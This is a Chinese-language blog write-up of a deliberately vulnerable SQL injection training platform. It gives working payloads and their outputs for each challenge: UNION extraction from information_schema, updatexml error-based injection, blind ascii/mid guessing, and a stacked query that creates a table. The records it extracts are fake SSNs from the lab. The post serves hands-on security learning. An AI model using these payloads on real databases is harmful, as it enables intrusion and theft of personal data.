看独自等待的博客看到了这样一个练习代码审计、sql注入的测试平台,正巧最近在研究代码审计,那么就来通关这个平台吧~
下载地址:传送门
稍微讲下安装流程,将文件夹解压到WWW根目录,这个没什么好说的,主要是数据库文件的修改,这里数据库连接文件在/includes/database.config.php里,将username和password改为自身数据库的账号密码,即可连接(修改完点击主页上的RESET即可,出现Done即为成功,若不成功一般就是数据库连接账号密码的问题)
其实前面有很多详细的注入姿势,这里就不细说了,直接上challenge~
Challenge 0 – Hello, world!
Your objective is to get the query to return all usernames instead of just one.
需要我们查找数据库所有的用户名~这里有错误回显,所以很简单~
Query (injection string is underlined): SELECT username FROM users WHERE username = ‘123′‘ GROUP BY username ORDER BY username ASC
下划线即为我们输入的部分,下面不再赘述~
answer:123′ or 1=1#
最终显示:
Query (injection string is underlined): SELECT username FROM users WHERE username = ‘123′ or 1=1#‘ GROUP BY username ORDER BY username ASC
Array ( [username] => Herp Derper )
Array ( [username] => SlapdeBack LovedeFace )
Array ( [username] => Wengdack Slobdegoob )
Array ( [username] => Chunk MacRunfast )
Array ( [username] => Peter Weiner )
Challenge 1 – SQL Injection 101
Your objective is to find the table of social security numbers present in the database and extract its information.
找到数据库中所有的社保号码,并提取出来~这里有回显~
第一步:’ and 1=2 UNION SELECT table_schema FROM information_schema.tables#
第二步:’and 1=2 union select table_name from information_schema.tables where table_schema=database()#
第三步:’and 1=2 union select column_name from information_schema.columns where table_name=0x73736e#
这里0x73736e为’ssn’的十六进制编码,列名为“name”、“ssn”
第四步:’and 1=2 union select concat(name,0x7e,ssn) from ssn#
最终显示:
Query (injection string is underlined): SELECT username FROM users WHERE username = ‘‘and 1=2 union select concat(name,0x7e,ssn)from ssn#‘ GROUP BY username ORDER BY username ASC
Array ( [username] => Herp Derper~012-34-5678 )
Array ( [username] => SlapdeBack LovedeFace~999-99-9999 )
Array ( [username] => Wengdack Slobdegoob~000-00-1112 )
Array ( [username] => Chunk MacRunfast~666-67-6776 )
Array ( [username] => Peter Weiner~111-22-3333 )
Challenge 2 – The Failure of Quote Filters
Your objective is to find the table of social security numbers present in the database and extract its information.
跟前面的一题一样,,都是获得社保号,唯一不同的是本题为int类型,因此会过滤单引号,上题为string类型~
其实注入的原理是一样,不需要我们在最前面加上单引号来闭合前面的数据,因此这题与上题相比,不用加上前面的单引号~
answer:1 and 1=2 union select concat(name,0x7e,ssn) from ssn#
最终显示:
Query (injection string is underlined): SELECT username FROM users WHERE isadmin = 1 and 1=2 union select concat(name,0x7e,ssn) from ssn# GROUP BY username ORDER BY username ASC
Array ( [username] => Herp Derper~012-34-5678 )
Array ( [username] => SlapdeBack LovedeFace~999-99-9999 )
Array ( [username] => Wengdack Slobdegoob~000-00-1112 )
Array ( [username] => Chunk MacRunfast~666-67-6776 )
Array ( [username] => Peter Weiner~111-22-3333 )
Challenge 3 – Death Row
Your objective is to find the table of social security numbers present in the database and extract its information.
怎么还是获取社保号。。。。这题不会显示详细的查询数据,但是会报错~并且只会显示一行数据。。
answer:2′ union select concat(name,0x7e,ssn) from ssn limit 0,1#
2′ union select concat(name,0x7e,ssn) from ssn limit 1,1#
这里由于只会显示一条信息,因此我们需要使用limit来获取所有的用户社保号~
limit 0,1表示从第一个数据选取,只选取一个
limit 1,1表示从第二个数据选取,只选取一个,,以此类推~
最终显示:
Array ( [username] => SlapdeBack LovedeFace~999-99-9999 )
Challenge 4 – War on Error
Your objective is to find the table of social security numbers present in the database and extract its information WITHOUT blind SQL injection techniques.
同样是查询社保号码,,我已经开始怀疑接下来全是查询社保号了。。
不过提取信息不允许使用盲注。。估计下面一题就是要求使用盲注了。。。
这里只能使用返错注入,我使用的是updatexml函数,类似的还有很多,不一一列举~
answer:’ and updatexml(1,concat(0x7e,(select concat(name,0x7e,ssn) from ssn limit 0,1)),0)#
这里解释一下,updatexml()函数总体框架是updatexml(1,[exp],0)
这里的[exp]为我们的报错语句,最简单的可以是datebase(),来获取数据库名
这里concat()函数是用来连接数据用的,limit为获取具体某一个数据,0x7e实际上为’~’的十六进制,在进行数据连接时,连接符为~
最终显示;
Error: XPATH syntax error: ‘~Herp Derper~012-34-5678’
Challenge 5 – Blind Luck
Your objective is to find the table of social security numbers present in the database and extract its information.
这里获取数据库社保号,但是使用的方法是盲注。。。这里的回显只有对或错
如果正确则输出Got results!
第一步:猜测数据库长度
1′ or length(database())=5#
第二步:猜测数据库名
1′ or ascii(mid(database(),1,1))=115#
这里的115为s的ascii码
一般情况下盲注都是通过脚本来跑的,这里抓包没抓到,因此不知道提交的url格式,所以脚本没有写起来(不知道怎么在url中加上submit),这里就作个最简单的演示
第N步:1′ or ascii(mid((select concat(name,ssn) from ssn limit 0,1),1,1))=72#
这里72是H的ascii码,因为我们获取的第一个用户好像叫Herp Derper,所以第一个字符为72,因此遍历后面的字母数字即可获得完整社保号
最终显示:
Query (injection string is underlined): SELECT username FROM users WHERE username = ‘1′ or ascii(mid((select concat(name,ssn) from ssn limit 0,1),1,1))=72#‘ GROUP BY username ORDER BY username ASC
Got results!
Challenge 6 – Stack the Deck
In this challenge, you must utilize stacked queries due to the difficulty of extraction in the SQLi scenario.
Your objective is to create a new table called “ipwntyourdb” using stacked queries.
大意看了好久。。大概就是使用堆查询来创建一个名为“ipwntyourdb”新表
answer:’;create table ipwntyourdb( id VARCHAR(100) NOT NULL)#
由于没回显。。这条题目好像我做的有问题。。。
突然心血来潮,想要好好研究下python的正则表达式,每次遇到正则总是百度这个.*?什么意思,感觉好烦。。不如来好好研究下具体的符号,但是研究了总要有个用途,于是我决定配合requests库,来进行页面的爬取,然后利用正则表达式,来对页面的标题进行一个匹配,从…
请登录后发表评论
注册